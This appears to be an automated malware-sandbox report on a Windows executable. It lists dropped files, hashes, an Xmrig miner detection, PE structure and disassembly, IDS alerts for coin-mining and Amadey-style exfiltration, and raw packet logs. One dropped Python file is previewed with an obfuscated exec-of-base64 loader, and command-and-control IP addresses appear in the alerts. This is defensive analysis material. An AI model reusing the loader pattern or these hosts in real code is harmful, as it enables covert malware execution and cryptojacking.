SHA1:	DA2E864E18521C86C7D8968DB74BB2B28E4C23E2
SHA-256:	C65073B65F107E471C9BE3C699FB11F774E9A07581F41229582F7B2154B6FC3C
SHA-512:	4C6953504D1401FE0C74435BCEEBC5EC7BF8991FD42B659867A3529CEE5CC64DA54F1AB404E88160E747887A7409098F1A85A546BC40F12F0DDE0025408F9E27
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#.}.#.}.#.}...%.}..\|.!.}..~. .}..y.+.}..x...}.6-\|. .}.h.\|.!.}.#.\|.s.}.6-p.".}.6-}.".}.6-..".}.6-..".}.Rich#.}.........PE..d....f.........." ...(.@..........0.......................................p......]M....`.........................................p...X............P.......@.......0.../...`......P^..T............................]..@............P..p............................text...!>.......@.................. ..`.rdata..\....P.......D..............@..@.data........ ......................@....pdata.......@......................@..@.rsrc........P.......$..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e4wpz11j.rpd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3dov10c.gtm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kscp21xw.q5z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xurlmj3h.3lb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\gamz9r74

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:qn:qn
MD5:	3F1D1D8D87177D3D8D897D7E421F84D6
SHA1:	DD082D742A5CB751290F1DB2BD519C286AA86D95
SHA-256:	F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
SHA-512:	2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
Malicious:	false
Preview:	blat

C:\Users\user\AppData\Local\Temp\t.py

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (65422), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	9635723
Entropy (8bit):	5.613483283611853
Encrypted:	false
SSDEEP:	49152:+oWGfL6tWt3zdSPQaPJOn5DX/I6oRMRmYHdq2jQu07DajN8AswUml0O3sg1FhmPd:Y
MD5:	9B31A0108F3A65F2E7A0661CFED4BB89
SHA1:	8357F18667A79C3F72D143E25F2ED9C024B955EF
SHA-256:	2A4B20B781F358308102D16A69F48247753AEBB0B83D08694B261CA3D9538ADE
SHA-512:	4495978C841024DED96F111F9D1D0A31321E0FF41FBC6D5DB0B20058A6676DB61FA76A17C7FB9F59B2D341532209A25FC0E5D0B6D36F297DCAB9A94110E683CC
Malicious:	true
Preview:	import os...import subprocess...import sys...import ctypes...import base64...import tempfile...import random......exec(__import__('base64').b64decode('aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBzeXMKaW1wb3J0IGN0eXBlcwppbXBvcnQgYmFzZTY0CmltcG9ydCB0ZW1wZmlsZQppbXBvcnQgcmFuZG9tCgpoX2I2NCA9ICJwRUNDa2FYaU9wdGF1L0dUUjQ3U1hlWGVFN0V5L3F0S21PZlFtTjJRVTJrQUJsbWhpQXJ0eEtyRUxSRkdCTHp1cW9JQlk0eGpQSUdKL2JGTnIxVlFqeG82bjFXbDYyTlMxQXFISXNiU3ZvNXdDeFNaU2NXQjEwS1JNRmcrejRMQnFDRlVmSS9ZVERVcmU1NUtjNlU1K3ZFNVQ4OXJxc0NQZC9tWTVwZWJvQXRFZVZ5WUFIOFpKU052R25pSlpycWhyZUQxL2FaaC8yZjMyQ29qaC9Jc0ljbm0vL01hdmlkS0taRUZpbGNTa09DYVFOdlU4dFVVZWhJUzloTm5BQTh5OTNPWkxBanh0VURkakpOeWVrc0RGeERLOXJOTHJJSHNQbTBPU0c3ZzkwSWdXaFZHUWdiR0VvSHBXQ1MrR1U5VjRTV01vK0pWRXE5RFk2T1hZUzM1T0crME9QR0Mrak50R1lmYjM2TmNFRTh0QnFmbkZnQ3ByTmNiNUU0SlR4aE51RE1KR3Qway93M0gvU1gyTTdBSnJWRG1Id2pVRHc5d3dLRHQ5OHpqWDJSZVVrYzBtZFZkR0htdEZ4UEpjVmk2a1NRSDNlMzJJbkI0S1g1d2g0Q1NuRE8zVUtoSnFJMU01NTlZKy9XMVRBcHd6YWhCRERGbWI2dXZabnRoRmoxNFQzUnV2Uzg4SlFkYWVNSzBXK

C:\Users\user\AppData\Local\Temp\ucqazsqoscdf.tmp

Download File

Process:	C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5345280
Entropy (8bit):	6.701640724838757
Encrypted:	false
SSDEEP:	98304:LrZwo40cLwthpjCU5FLnFUWbU5y1vsdCXZe1bwCUoJXiN5rFkKYVd:Lra1Wbd1vs0JeaCVJX25GKYVd
MD5:	470F48122F70CD013CE039F8049F8906
SHA1:	673B6BE8163580BA70403321663F5EDBB0565F12
SHA-256:	B4B33DDBDD8953EE4BCAAA0F7B71468FAD1F5A7F8CFC7AFCF35810D2B1792D2A
SHA-512:	C44BA477DF1876D507FE24C54957BE6A92C2E7FA498103C49A74A34D6090FB2253DCAF81F36EAF82BB3AEEFCB8A414579EAD130B50523DB842C95299D76D6226
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Users\user\AppData\Local\Temp\ucqazsqoscdf.tmp, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......=r.Yy...y...y...2k..p...2k......2k..o...llh.}...ll..j...ll......ll..u...y.......2k..`....c..*...O...;...O.......O...z...O.j.x...y...x...O...x...Richy...........................PE..d..../.d.........."....%..6...L.....DS3........@..........................................`.................................................T.M......`.......................p..\|.....J.......................J.(....J.@.............6.8............................text.....6.......6................. ..`.rdata........6.......6.............@..@.data...d,3...M.......M.............@....pdata................N.............@..@_RANDOMX..............P.............@..`_TEXT_CN.&.......(....P.............@..`_TEXT_CN.....0........P.............@..`_RDATA..\....P........Q.............@..@.rsrc........`........Q.............@..@.reloc..\|....p........Q.............@..B................................

C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	713031680
Entropy (8bit):	7.895657021316536
Encrypted:	false
SSDEEP:
MD5:	062C19600CD942AE5C1004E91507B9A5
SHA1:	149F58E6EBB8F7A9CB4888DA28E28925DE23D7DA
SHA-256:	F8DC85968935FD85AAEEE2B4531F661A4EA9F26ADF2E968413D9A5CFC682C9EE
SHA-512:	14AA778D4B4BCAADF1F91B2FEAA74ADF600FF8FDD29B81C3370574DAEDD49FB0429BD9D73C5E468C65E3DE093E3C7A2274197D2A21A40A671DAAC50272C6B523
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...._.f................h...HR................@..............................R......>S...`... ...............................................R.......R......`R......LR..)....R..............................9R.(.....................R.H............................text...xg.......h..................`..`.data.....Q.......Q..l..............@....rdata.......0R.......R.............@..@.eh_fram.....PR......(R.............@....pdata.......`R......R.............@..@.xdata..@....pR......0R.............@..@.bss..........R..........................idata........R......6R.............@....CRT....`.....R......BR.............@....tls..........R......DR.............@....rsrc.........R......FR.............@..@.reloc........R......JR.............@..B................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.992339143003168
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	7'805'885 bytes
MD5:	59005d24321480b22ab38ef753109b98
SHA1:	0983f2b6e88d8864b3f96e515737b2bb14de9b0c
SHA256:	9133e5212a0edb47d12b9f7dbda08c996db9223f3d2b1fc68c2d33579c97da6a
SHA512:	be7fbd55cbd2911e3a1b3e466462f319981378dfa542ac1a9d77a5e5006e00797142460f35ae85e0f16bb34d830cb805d9dc14cd6fa783e449d7141f75f50994
SSDEEP:	196608:c0MGV2q1BKA1HeT39IigwRTet4Q4G/NsIlyzWXkRMY3o9W+:EGV2Kj1+TtIiFRS1NsIszWXGro8
TLSH:	F4763359B3E24DF9EDA7923987E18216ABE23885A360C1DF07B801760F235D2DD7E741
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................................Y...........!]<.....!]......!]......!]..................i....Z.......Z......Rich............PE..d..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14000c280
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F360AF [Wed Sep 25 01:00:31 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	1af6c885af093afc55142c2f1761dbe8

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F7A25167B7Ch
dec eax
add esp, 28h
jmp 00007F7A2516779Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F7A25168214h
test eax, eax
je 00007F7A25167943h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F7A25167927h
dec eax
cmp ecx, eax
je 00007F7A25167936h
xor eax, eax
dec eax
cmpxchg dword ptr [0003426Ch], ecx
jne 00007F7A25167910h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F7A25167919h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F7A25167929h
mov byte ptr [00034255h], 00000001h
call 00007F7A25167F01h
call 00007F7A25168628h
test al, al
jne 00007F7A25167926h
xor al, al
jmp 00007F7A25167936h
call 00007F7A2517549Fh
test al, al
jne 00007F7A2516792Bh
xor ecx, ecx
call 00007F7A25168638h
jmp 00007F7A2516790Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0003421Ch], 00000000h
mov ebx, ecx
jne 00007F7A25167989h
cmp ecx, 01h
jnbe 00007F7A2516798Ch
call 00007F7A2516818Ah
test eax, eax
je 00007F7A2516794Ah
test ebx, ebx
jne 00007F7A25167946h
dec eax
lea ecx, dword ptr [00034206h]
call 00007F7A25175292h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3cd4c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x45000	0x565	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x42000	0x228c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x46000	0x758	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a340	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3a200	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x420	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29d30	0x29e00	71ff9d97b6bef3e498ac70706b9f8731	False	0.5518540111940299	data	6.482977238167185	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12b74	0x12c00	151f463ef812ec55d6412a78bc847df6	False	0.5155989583333334	data	5.820866050775897	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x33b8	0xe00	977072c88007dbc1e49774855e30e9e0	False	0.13364955357142858	firmware 32a2 vdf2d (revision 2569732096) \377\377\377\377 , version 65535.65535.65535, 0 bytes or less, at 0xcd5d20d2 1725235199 bytes , at 0 0 bytes , at 0xffffffff 16777216 bytes	1.8368912499011465	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x42000	0x228c	0x2400	ebcead4ccdb2059263dd6b5e1939a85c	False	0.4714626736111111	data	5.309674482173895	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x45000	0x565	0x600	f3ccf7966a910b006c8e2981115f86a2	False	0.4296875	data	5.1559696736591984	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x46000	0x758	0x800	acfcc84ef15765a9622fe8048ba2ac76	False	0.54443359375	data	5.242403041594065	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x45058	0x50d	XML 1.0 document, ASCII text			0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	IsValidCodePage, GetStringTypeW, GetFileAttributesExW, HeapReAlloc, FlushFileBuffers, GetCurrentDirectoryW, GetACP, GetOEMCP, GetModuleHandleW, MulDiv, GetLastError, SetDllDirectoryW, GetModuleFileNameW, CreateSymbolicLinkW, GetProcAddress, GetCommandLineW, GetEnvironmentVariableW, GetCPInfo, ExpandEnvironmentStringsW, CreateDirectoryW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, SetConsoleCtrlHandler, FindClose, FindFirstFileExW, CloseHandle, GetCurrentProcess, LocalFree, FormatMessageW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, WriteConsoleW, SetEndOfFile, SetEnvironmentVariableW, RtlUnwindEx, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetFullPathNameW, RemoveDirectoryW, FindNextFileW, SetStdHandle, DeleteFileW, ReadFile, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T03:51:17.108598+0200	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.4	49738	149.102.143.109	10128	TCP
2024-09-25T03:52:27.780619+0200	2044697	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3	1	192.168.2.4	49739	194.59.31.63	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 03:51:26.002439022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.007579088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.007690907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.007844925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.012722969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.484253883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.484319925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.484354973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.484400034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.484411001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.484445095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.484479904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.484528065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.484528065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.484529972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.484569073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.484616995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.484652042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.484702110 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.484702110 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.489537954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.489576101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.489643097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.575216055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.575256109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.575293064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.575329065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.575403929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.575423002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.575455904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.575489044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.575573921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.575968981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.576020956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.576054096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.576067924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.576103926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.576138020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.576189041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.576251030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.576909065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.576982975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.577032089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.577065945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.577099085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.577102900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.577126980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.577780008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.577851057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.577883959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.577896118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.577918053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.577951908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.577969074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.578030109 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.580328941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.580363989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.580482960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.666210890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666281939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666336060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666368961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666377068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.666409016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666441917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666459084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.666531086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666563034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666585922 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.666595936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666627884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666661978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666711092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.666711092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.666731119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666764021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666796923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666829109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666852951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.666861057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.666948080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.667296886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.667330027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.667365074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.667495966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.667529106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.667563915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.667596102 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.667613983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.667646885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.667678118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.667709112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.667710066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.667788029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.667864084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.668004036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.668055058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.668090105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.668227911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.668236017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.668261051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.668293953 CEST	80	49730	3.80.28.180	192.168.2.4
